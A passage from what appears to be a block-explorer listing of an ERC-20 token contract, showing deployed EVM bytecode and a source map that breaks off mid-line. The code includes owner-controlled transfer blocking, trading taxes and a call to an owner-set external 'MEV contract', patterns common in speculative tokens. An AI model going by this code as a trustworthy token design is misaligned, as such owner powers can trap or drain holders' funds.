4df565b5050565b335f90815260016020526040812054816105a46009600a611904565b6105b290633b9aca00611912565b6105be83612710611912565b6105c89190611929565b90506105d5600282611929565b9250505090565b5f546001600160a01b031633146106055760405162461bcd60e51b8152600401610480906117db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6013546001600160a01b031661deac19016106bc5760405162461bcd60e51b815260206004820152602960248201527f546865204d455620636f6e7472616374206164647265737320776173206e6f7460448201526820736574207965742160b81b6064820152608401610480565b5f6106c6336102cc565b116107505760405162461bcd60e51b815260206004820152604e60248201527f596f75206e65656420746f206f776e20612070657263656e74616765206f662060448201527f74686520746f74616c537570706c7920696e206f7264657220746f207573652060648201526d746869732066756e6374696f6e2160901b608482015260a401610480565b6013546001600160a01b03165f610766336102cc565b905063647b763442101561077957600380fd5b632c9a5c20607c52336080528060a0525f806044607c5f866113885a03f1806107a157600380fd5b505050565b5f546001600160a01b031633146107cf5760405162461bcd60e51b8152600401610480906117db565b6107db6009600a611904565b6107e990633b9aca00611912565b600f556107f86009600a611904565b61080690633b9aca00611912565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108406009600a611904565b61084e90633b9aca00611912565b60405190815260200160405180910390a1565b5f61044d338484610d37565b5f546001600160a01b031633146108965760405162461bcd60e51b8152600401610480906117db565b601554600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610480565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611904565b61052390633b9aca00611912565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad9190611948565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a309190611948565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611948565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610ae3816001600160a01b03165f9081526001602052604090205490565b5f80610af65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b819190611963565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfa919061198e565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610480565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610480565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610480565b6001600160a01b038216610dfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610480565b5f8111610e5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610480565b5f80546001600160a01b03858116911614801590610e8957505f546001600160a01b03848116911614155b156111e1576001600160a01b0384165f9081526004602052604090205460ff16158015610ece57506001600160a01b0383165f9081526004602052604090205460ff16155b610ed6575f80fd5b60065460ff1615610f8d576014546001600160a01b03848116911614801590610f0d57506015546001600160a01b03848116911614155b15610f8d57325f908152600560205260409020544311610f7b5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610480565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610fb857506014546001600160a01b03848116911614155b8015610fdc57506001600160a01b0383165f9081526003602052604090205460ff16155b156110c257600f548211156110335760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610480565b60105482611055856001600160a01b03165f9081526001602052604090205490565b61105f91906119ad565b11156110ad5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610480565b600e8054905f6110bc836119c0565b91905055505b6110ee60646110e8600b54600e54116110dd576007546110e1565b6009545b859061151a565b9061159f565b6015549091506001600160a01b03848116911614801561111757506001600160a01b0384163014155b156111445761114160646110e8600c54600e5411611137576008546110e1565b600a54859061151a565b90505b305f90815260016020526040902054601554600160a81b900460ff1615801561117a57506015546001600160a01b038581169116145b801561118f5750601554600160b01b900460ff165b801561119c575060115481115b80156111ab5750600d54600e54115b156111df576111cd6111c8846111c3846012546115e0565b6115e0565b611356565b4780156111dd576111dd476114df565b505b505b801561125957305f9081526001602052604090205461120090826115f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112509085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461127b9083611652565b6001600160a01b0385165f908152600160205260409020556112be6112a08383611652565b6001600160a01b0385165f90815260016020526040902054906115f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113078585611652565b60405190815260200160405180910390a350505050565b5f81848411156113415760405162461bcd60e51b815260040161048091906116bf565b505f61134d84866119d8565b95945050505050565b6015805460ff60a81b1916600160a81b17905580156114cf57601554600160a01b900460ff16156114cf576040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b4576113b46119eb565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142f9190611948565b81600181518110611442576114426119eb565b6001600160a01b0392831660209182029290920101526014546114689130911684610c14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a09085905f908690309042906004016119ff565b5f604051808303815f87803b1580156114b7575f80fd5b505af11580156114c9573d5f803e3d5ffd5b50505050505b506015805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610584573d5f803e3d5ffd5b5f825f0361152957505f610451565b5f6115348385611912565b9050826115418583611929565b146115985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610480565b9392505050565b5f61159883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611693565b5f8183116115ee5782611598565b50919050565b5f8061160083856119ad565b9050838110156115985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610480565b5f61159883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131e565b5f81836116b35760405162461bcd60e51b815260040161048091906116bf565b505f61134d8486611929565b5f6020808352835180828501525f5b818110156116ea578581018301518582016040015282016116ce565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461171e575f80fd5b50565b5f8060408385031215611732575f80fd5b823561173d8161170a565b946020939093013593505050565b5f6020828403121561175b575f80fd5b81356115988161170a565b5f805f60608486031215611778575f80fd5b83356117838161170a565b925060208401356117938161170a565b929592945050506040919091013590565b5f80604083850312156117b5575f80fd5b82356117c08161170a565b915060208301356117d08161170a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561185e57815f190482111561184457611844611810565b8085161561185157918102915b93841c9390800290611829565b509250929050565b5f8261187457506001610451565b8161188057505f610451565b816001811461189657600281146118a0576118bc565b6001915050610451565b60ff8411156118b1576118b1611810565b50506001821b610451565b5060208310610133831016604e8410600b84101617156118df575081810a610451565b6118e98383611824565b805f19048211156118fc576118fc611810565b029392505050565b5f61159860ff841683611866565b808202811582820484141761045157610451611810565b5f8261194357634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611958575f80fd5b81516115988161170a565b5f805f60608486031215611975575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561199e575f80fd5b81518015158114611598575f80fd5b8082018082111561045157610451611810565b5f600182016119d1576119d1611810565b5060010190565b8181038181111561045157610451611810565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a4d5784516001600160a01b031683529383019391830191600101611a28565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a196ef6074c312aee7721cee0a0ba50e155dcbf3cfabe37b938e93498809611464736f6c63430008140033
Deployed Bytecode Sourcemap
3633:9447:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5726:83;;;;;;;;;;-1:-1:-1;5796:5:0;;;;;;;;;;;;-1:-1:-1;;;5796:5:0;;;;5726:83;;;;;;;:::i;:::-;;;;;;;;6559:161;;;;;;;;;;-1:-1:-1;6559:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6559:161:0;1023:187:1;7860:103:0;;;;;;;;;;-1:-1:-1;7860:103:0;;;;;:::i;:::-;;:::i;:::-;;4915:50;;;;;;;;;;;;;;;;;;;1613:25:1;;;1601:2;1586:18;4915:50:0;1467:177:1;6003:95:0;;;;;;;;;;;;;:::i;7971:313::-;;;;;;;;;;-1:-1:-1;7971:313:0;;;;;:::i;:::-;;:::i;5912:83::-;;;;;;;;;;-1:-1:-1;5912:83:0;;4472:1;2252:36:1;;2240:2;2225:18;5912:83:0;2110:184:1;11902:83:0;;;;;;;;;;-1:-1:-1;11902:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11970:7:0;11949:4;11970:7;;;:4;:7;;;;;;;;;11902:83;12709:348;;;;;;;;;;;;;:::i;6728:302::-;;;;;;;;;;;;;:::i;6106:119::-;;;;;;;;;;-1:-1:-1;6106:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;2714:148;;;;;;;;;;;;;:::i;7038:814::-;;;;;;;;;;;;;:::i;11598:196::-;;;;;;;;;;;;;:::i;4726:56::-;;;;;;;;;;;;;;;;2500:79;;;;;;;;;;-1:-1:-1;2538:7:0;2565:6;2500:79;;-1:-1:-1;;;;;2565:6:0;;;2445:51:1;;2433:2;2418:18;2500:79:0;2299:203:1;4789:56:0;;;;;;;;;;;;;;;;5817:87;;;;;;;;;;-1:-1:-1;5889:7:0;;;;;;;;;;;;-1:-1:-1;;;5889:7:0;;;;5817:87;;6233:167;;;;;;;;;;-1:-1:-1;6233:167:0;;;;;:::i;:::-;;:::i;4852:56::-;;;;;;;;;;;;;;;;4028:40;;;;;;;;;;-1:-1:-1;4028:40:0;;;;;;;;11993:671;;;;;;;;;;;;;:::i;6408:143::-;;;;;;;;;;-1:-1:-1;6408:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6516:18:0;;;6489:7;6516:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6408:143;6559:161;6634:4;6651:39;335:10;6674:7;6683:6;6651:8;:39::i;:::-;-1:-1:-1;6708:4:0;6559:161;;;;;:::o;7860:103::-;2627:6;;-1:-1:-1;;;;;2627:6:0;335:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;;;;;;;;;7928:20:::1;:27:::0;;-1:-1:-1;;;;;;7928:27:0::1;-1:-1:-1::0;;;;;7928:27:0;;;::::1;::::0;;;::::1;::::0;;7860:103::o;6003:95::-;6056:7;4528:13;4472:1;4528:2;:13;:::i;:::-;4515:26;;:10;:26;:::i;:::-;6076:14;;6003:95;:::o;7971:313::-;8069:4;8086:36;8096:6;8104:9;8115:6;8086:9;:36::i;:::-;8133:121;8142:6;335:10;8164:89;8202:6;8164:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8164:19:0;;;;;;:11;:19;;;;;;;;335:10;8164:33;;;;;;;;;;:37;:89::i;:::-;8133:8;:121::i;:::-;-1:-1:-1;8272:4:0;7971:313;;;;;:::o;12709:348::-;12773:10;;;;;-1:-1:-1;;;;;12773:10:0;335;-1:-1:-1;;;;;12759:24:0;;12751:33;;;;;;12834:4;12795:20;6199:18;;;:9;:18;;;;;;12854:14;;12851:73;;12882:30;12899:12;12882:16;:30::i;:::-;12953:21;12988:12;;12985:65;;13014:24;13027:10;13014:12;:24::i;:::-;12740:317;;12709:348::o;6728:302::-;335:10;6783:7;6828:23;;;:9;:23;;;;;;6783:7;4528:13;4472:1;4528:2;:13;:::i;:::-;4515:26;;:10;:26;:::i;:::-;6884:22;:14;6901:5;6884:22;:::i;:::-;6883:34;;;;:::i;:::-;6862:55;-1:-1:-1;6935:14:0;6948:1;6862:55;6935:14;:::i;:::-;6928:21;;;;6728:302;:::o;2714:148::-;2627:6;;-1:-1:-1;;;;;2627:6:0;335:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;2821:1:::1;2805:6:::0;;2784:40:::1;::::0;-1:-1:-1;;;;;2805:6:0;;::::1;::::0;2784:40:::1;::::0;2821:1;;2784:40:::1;2852:1;2835:19:::0;;-1:-1:-1;;;;;;2835:19:0::1;::::0;;2714:148::o;7038:814::-;7081:20;;-1:-1:-1;;;;;7081:20:0;-1:-1:-1;;7081:75:0;7073:129;;;;-1:-1:-1;;;7073:129:0;;5373:2:1;7073:129:0;;;5355:21:1;5412:2;5392:18;;;5385:30;5451:34;5431:18;;;5424:62;-1:-1:-1;;;5502:18:1;;;5495:39;5551:19;;7073:129:0;5171:405:1;7073:129:0;7247:1;7221:23;335:10;6106:119;:::i;7221:23::-;:27;7213:118;;;;-1:-1:-1;;;7213:118:0;;5783:2:1;7213:118:0;;;5765:21:1;5822:2;5802:18;;;5795:30;5861:34;5841:18;;;5834:62;5932:34;5912:18;;;5905:62;-1:-1:-1;;;5983:19:1;;;5976:45;6038:19;;7213:118:0;5581:482:1;7213:118:0;7363:20;;-1:-1:-1;;;;;7363:20:0;7342:18;7413:23;335:10;6106:119;:::i;7413:23::-;7394:42;;7490:19;7477:11;7474:36;7471:86;;;7540:1;7537;7530:12;7471:86;7596:10;7590:4;7583:24;7634:8;7628:4;7621:22;7670:8;7664:4;7657:22;7758:1;7755;7749:4;7743;7740:1;7728:10;7721:4;7714:5;7710:16;7705:55;7784:2;7774:60;;7817:1;7814;7807:12;7774:60;;7456:389;;7038:814::o;11598:196::-;2627:6;;-1:-1:-1;;;;;2627:6:0;335:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;4528:13:::1;4472:1;4528:2;:13;:::i;:::-;4515:26;::::0;:10:::1;:26;:::i;:::-;11651:12;:22:::0;4528:13:::1;4472:1;4528:2;:13;:::i;:::-;4515:26;::::0;:10:::1;:26;:::i;:::-;11684:14;:22:::0;11717:20:::1;:26:::0;;-1:-1:-1;;11717:26:0::1;::::0;;11759:27:::1;4528:13;4472:1;-1:-1:-1::0;4528:13:0::1;:::i;:::-;4515:26;::::0;:10:::1;:26;:::i;:::-;11759:27;::::0;1613:25:1;;;1601:2;1586:18;11759:27:0::1;;;;;;;11598:196::o:0;6233:167::-;6311:4;6328:42;335:10;6352:9;6363:6;6328:9;:42::i;11993:671::-;2627:6;;-1:-1:-1;;;;;2627:6:0;335:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;12057:11:::1;::::0;-1:-1:-1;;;12057:11:0;::::1;;;12056:12;12048:47;;;::::0;-1:-1:-1;;;12048:47:0;;6270:2:1;12048:47:0::1;::::0;::::1;6252:21:1::0;6309:2;6289:18;;;6282:30;6348:25;6328:18;;;6321:53;6391:18;;12048:47:0::1;6068:347:1::0;12048:47:0::1;12106:15;:80:::0;;-1:-1:-1;;;;;;12106:80:0::1;12143:42;12106:80:::0;;::::1;::::0;;;12197:58:::1;::::0;12214:4:::1;::::0;4528:13:::1;4472:1;4528:2;:13;:::i;:::-;4515:26;::::0;:10:::1;:26;:::i;12197:58::-;12300:15;;;;;;;;;-1:-1:-1::0;;;;;12300:15:0::1;-1:-1:-1::0;;;;;12300:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12282:55:0::1;;12346:4;12353:15;;;;;;;;;-1:-1:-1::0;;;;;12353:15:0::1;-1:-1:-1::0;;;;;12353:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12282:94;::::0;-1:-1:-1;;;;;;12282:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6906:15:1;;;12282:94:0::1;::::0;::::1;6888:34:1::0;6958:15;;6938:18;;;6931:43;6823:18;;12282:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12266:13;:110:::0;;-1:-1:-1;;;;;;12266:110:0::1;-1:-1:-1::0;;;;;12266:110:0;;::::1;;::::0;;12387:15:::1;::::0;::::1;:31;12426:21;12457:4;12463:24;12457:4:::0;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;12463:24:::1;12488:1;12490::::0;12492:7:::1;2538::::0;2565:6;-1:-1:-1;;;;;2565:6:0;;2500:79;12492:7:::1;12387:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12387:129:0;;;-1:-1:-1;;;;;7344:15:1;;;12387:129:0::1;::::0;::::1;7326:34:1::0;7376:18;;;7369:34;;;;7419:18;;;7412:34;;;;7462:18;;;7455:34;7526:15;;;7505:19;;;7498:44;12500:15:0::1;7558:19:1::0;;;7551:35;7260:19;;12387:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12534:13:0::1;::::0;12565:15:::1;::::0;12527:71:::1;::::0;-1:-1:-1;;;12527:71:0;;-1:-1:-1;;;;;12565:15:0;;::::1;12527:71;::::0;::::1;8082:51:1::0;-1:-1:-1;;8149:18:1;;;8142:34;12534:13:0;::::1;::::0;-1:-1:-1;12527:29:0::1;::::0;8055:18:1;;12527:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12609:11:0::1;:18:::0;;-1:-1:-1;;;;12638:18:0;-1:-1:-1;;;12638:18:0;;;11993:671::o;8292:335::-;-1:-1:-1;;;;;8385:19:0;;8377:68;;;;-1:-1:-1;;;8377:68:0;;8671:2:1;8377:68:0;;;8653:21:1;8710:2;8690:18;;;8683:30;8749:34;8729:18;;;8722:62;-1:-1:-1;;;8800:18:1;;;8793:34;8844:19;;8377:68:0;8469:400:1;8377:68:0;-1:-1:-1;;;;;8464:21:0;;8456:68;;;;-1:-1:-1;;;8456:68:0;;9076:2:1;8456:68:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:34;9134:18;;;9127:62;-1:-1:-1;;;9205:18:1;;;9198:32;9247:19;;8456:68:0;8874:398:1;8456:68:0;-1:-1:-1;;;;;8535:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8587:32;;1613:25:1;;;8587:32:0;;1586:18:1;8587:32:0;;;;;;;8292:335;;;:::o;8635:2284::-;-1:-1:-1;;;;;8723:18:0;;8715:68;;;;-1:-1:-1;;;8715:68:0;;9479:2:1;8715:68:0;;;9461:21:1;9518:2;9498:18;;;9491:30;9557:34;9537:18;;;9530:62;-1:-1:-1;;;9608:18:1;;;9601:35;9653:19;;8715:68:0;9277:401:1;8715:68:0;-1:-1:-1;;;;;8802:16:0;;8794:64;;;;-1:-1:-1;;;8794:64:0;;9885:2:1;8794:64:0;;;9867:21:1;9924:2;9904:18;;;9897:30;9963:34;9943:18;;;9936:62;-1:-1:-1;;;10014:18:1;;;10007:33;10057:19;;8794:64:0;9683:399:1;8794:64:0;8886:1;8877:6;:10;8869:64;;;;-1:-1:-1;;;8869:64:0;;10289:2:1;8869:64:0;;;10271:21:1;10328:2;10308:18;;;10301:30;10367:34;10347:18;;;10340:62;-1:-1:-1;;;10418:18:1;;;10411:39;10467:19;;8869:64:0;10087:405:1;8869:64:0;8944:17;2565:6;;-1:-1:-1;;;;;8978:15:0;;;2565:6;;8978:15;;;;:32;;-1:-1:-1;2538:7:0;2565:6;-1:-1:-1;;;;;8997:13:0;;;2565:6;;8997:13;;8978:32;8974:1589;;;-1:-1:-1;;;;;9036:10:0;;;;;;:4;:10;;;;;;;;9035:11;:24;;;;-1:-1:-1;;;;;;9051:8:0;;;;;;:4;:8;;;;;;;;9050:9;9035:24;9027:33;;;;;;9081:20;;;;9077:346;;;9140:15;;-1:-1:-1;;;;;9126:30:0;;;9140:15;;9126:30;;;;:62;;-1:-1:-1;9174:13:0;;-1:-1:-1;;;;;9160:28:0;;;9174:13;;9160:28;;9126:62;9122:286;;;9248:9;9219:39;;;;:28;:39;;;;;;9261:12;-1:-1:-1;9211:102:0;;;;-1:-1:-1;;;9211:102:0;;10699:2:1;9211:102:0;;;10681:21:1;10738:2;10718:18;;;10711:30;10777:34;10757:18;;;10750:62;-1:-1:-1;;;10828:18:1;;;10821:34;10872:19;;9211:102:0;10497:400:1;9211:102:0;9363:9;9334:39;;;;:28;:39;;;;;9376:12;9334:54;;9122:286;9451:13;;-1:-1:-1;;;;;9443:21:0;;;9451:13;;9443:21;:55;;;;-1:-1:-1;9482:15:0;;-1:-1:-1;;;;;9468:30:0;;;9482:15;;9468:30;;9443:55;:83;;;;-1:-1:-1;;;;;;9504:22:0;;;;;;:18;:22;;;;;;;;9502:24;9443:83;9439:313;;;9566:12;;9556:6;:22;;9548:60;;;;-1:-1:-1;;;9548:60:0;;11104:2:1;9548:60:0;;;11086:21:1;11143:2;11123:18;;;11116:30;11182:27;11162:18;;;11155:55;11227:18;;9548:60:0;10902:349:1;9548:60:0;9661:14;;9651:6;9635:13;9645:2;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;9635:13;:22;;;;:::i;:::-;:40;;9627:79;;;;-1:-1:-1;;;9627:79:0;;11588:2:1;9627:79:0;;;11570:21:1;11627:2;11607:18;;;11600:30;11666:28;11646:18;;;11639:56;11712:18;;9627:79:0;11386:350:1;9627:79:0;9725:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9439:313;9782:76;9854:3;9782:67;9804:15;;9794:9;;:25;9793:55;;9834:14;;9793:55;;;9821:12;;9793:55;9782:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9882:13;;9770:88;;-1:-1:-1;;;;;;9876:19:0;;;9882:13;;9876:19;:43;;;;-1:-1:-1;;;;;;9899:20:0;;9914:4;9899:20;;9876:43;9873:174;;;9952:79;10027:3;9952:70;9974:16;;9964:9;;:26;9963:58;;10006:15;;9963:58;;;9992:13;;9952:6;;:10;:70::i;:79::-;9940:91;;9873:174;10112:4;10063:28;6199:18;;;:9;:18;;;;;;10138:6;;-1:-1:-1;;;10138:6:0;;;;10137:7;:30;;;;-1:-1:-1;10154:13:0;;-1:-1:-1;;;;;10148:19:0;;;10154:13;;10148:19;10137:30;:45;;;;-1:-1:-1;10171:11:0;;-1:-1:-1;;;10171:11:0;;;;10137:45;:87;;;;;10207:17;;10186:20;:38;10137:87;:119;;;;;10238:18;;10228:9;;:28;10137:119;10133:419;;;10277:67;10294:49;10298:6;10305:37;10309:20;10330:11;;10305:3;:37::i;:::-;10294:3;:49::i;:::-;10277:16;:67::i;:::-;10392:21;10435:22;;10432:105;;10482:35;10495:21;10482:12;:35::i;:::-;10258:294;10133:419;9012:1551;8974:1589;10578:11;;10575:161;;10646:4;10628:24;;;;:9;:24;;;;;;:39;;10657:9;10628:28;:39::i;:::-;10621:4;10603:24;;;;:9;:24;;;;;;;:64;;;;10685:39;;-1:-1:-1;;;;;10685:39:0;;;;;;;10714:9;1613:25:1;;1601:2;1586:18;;1467:177;10685:39:0;;;;;;;;10575:161;-1:-1:-1;;;;;10762:15:0;;;;;;:9;:15;;;;;;:27;;10782:6;10762:19;:27::i;:::-;-1:-1:-1;;;;;10746:15:0;;;;;;:9;:15;;;;;:43;10814:40;10832:21;:6;10843:9;10832:10;:21::i;:::-;-1:-1:-1;;;;;10814:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10800:13:0;;;;;;;:9;:13;;;;;:54;;;;10870:41;;;10889:21;:6;10900:9;10889:10;:21::i;:::-;10870:41;;1613:25:1;;;1601:2;1586:18;10870:41:0;;;;;;;8704:2215;8635:2284;;;:::o;1392:190::-;1478:7;1514:12;1506:6;;;;1498:29;;;;-1:-1:-1;;;1498:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1538:9:0;1550:5;1554:1;1550;:5;:::i;:::-;1538:17;1392:190;-1:-1:-1;;;;;1392:190:0:o;11035:555::-;5335:6;:13;;-1:-1:-1;;;;5335:13:0;-1:-1:-1;;;5335:13:0;;;11113:27;;11132:7:::1;11113:27;11154:11;::::0;-1:-1:-1;;;11154:11:0;::::1;;;11150:25:::0;11167:7:::1;11150:25;11209:16;::::0;;11223:1:::1;11209:16:::0;;;;;::::1;::::0;;11185:21:::1;::::0;11209:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11209:16:0::1;11185:40;;11254:4;11236;11241:1;11236:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11236:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11280:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11280:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11236:7;;11280:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11270:4;11275:1;11270:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11270:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11345:15:::1;::::0;11313:62:::1;::::0;11330:4:::1;::::0;11345:15:::1;11363:11:::0;11313:8:::1;:62::i;:::-;11386:15;::::0;:196:::1;::::0;-1:-1:-1;;;11386:196:0;;-1:-1:-1;;;;;11386:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11467:11;;11386:15:::1;::::0;11509:4;;11536::::1;::::0;11556:15:::1;::::0;11386:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11102:488;5359:1;-1:-1:-1::0;5371:6:0;:14;;-1:-1:-1;;;;5371:14:0;;;11035:555::o;11802:92::-;11859:10;;:27;;:10;;;;-1:-1:-1;;;;;11859:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1590:246;1648:7;1672:1;1677;1672:6;1668:47;;-1:-1:-1;1702:1:0;1695:8;;1668:47;1725:9;1737:5;1741:1;1737;:5;:::i;:::-;1725:17;-1:-1:-1;1770:1:0;1761:5;1765:1;1725:17;1761:5;:::i;:::-;:10;1753:56;;;;-1:-1:-1;;;1753:56:0;;13465:2:1;1753:56:0;;;13447:21:1;13504:2;13484:18;;;13477:30;13543:34;13523:18;;;13516:62;-1:-1:-1;;;13594:18:1;;;13587:31;13635:19;;1753:56:0;13263:397:1;1753:56:0;1827:1;1590:246;-1:-1:-1;;;1590:246:0:o;1844:132::-;1902:7;1929:39;1933:1;1936;1929:39;;;;;;;;;;;;;;;;;:3;:39::i;10929:98::-;10986:7;11013:1;11011;:3;11010:9;;11018:1;11010:9;;;-1:-1:-1;11016:1:0;10929:98;-1:-1:-1;10929:98:0:o;1061:179::-;1119:7;;1151:5;1155:1;1151;:5;:::i;:::-;1139:17;;1180:1;1175;:6;;1167:46;;;;-1:-1:-1;;;1167:46:0;;13867:2:1;1167:46:0;;;13849:21:1;13906:2;13886:18;;;13879:30;13945:29;13925:18;;;13918:57;13992:18;;1167:46:0;13665:351:1;1248:136:0;1306:7;1333:43;1337:1;1340;1333:43;;;;;;;;;;;;;;;;;:3;:43::i;1984:189::-;2070:7;2105:12;2098:5;2090:28;;;;-1:-1:-1;;;2090